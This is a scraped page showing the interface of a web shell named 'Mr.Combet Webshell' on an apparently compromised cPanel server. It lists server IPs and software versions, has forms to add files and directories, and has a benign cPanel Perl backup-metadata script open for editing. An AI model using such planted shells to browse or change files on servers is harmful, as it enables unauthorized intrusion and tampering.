Mr.Combet Webshell
Your IP :
3.145.90.152
Server IP :
185.136.159.155
Server :
Linux 185-136-159-155.cprapid.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software :
Apache
PHP Version :
8.1.29
Add File :
Submit
Add Directory :
Submit
Dir :
~
/
scripts
/
Edit File Name :
backups_clean_metadata_for_missing_backups
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/backups_clean_metadata_for_missing_backups # Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::backups_clean_metadata_for_missing_backups; use strict; use warnings; use Cpanel::Backup::Metadata (); sub _help { print qq{ The backups_clean_metadata_for_missing_backups script removes the metadata for backup files that a user manually removed from the system. Use this script when you want to remove metadata from the system outside of the daily Backup System run. Example: rm -r /backup/20yy-mm-dd $0 The above demonstrates removing the backup files manually and then regenerating metadata for the missing backups. Please note that this script does not remove the metadata if an individual account is removed from a date. Example: rm /backup/20yy-mm-dd/accounts/someacct.tar.gz $0 The above would not remove metadata corresponding to the missing tar file in this case. Doing this will cause errors in the File Restoration UI when you attempt to restore files from that specific account's backup for the deleted date. Usage: $0 }; return 0; } sub script { return _help() if grep { m/--help|-h/ } @_; Cpanel::Backup::Metadata::remove_metadata_for_missing_backups(); return 0; } exit( script(@ARGV) ) unless caller();
Save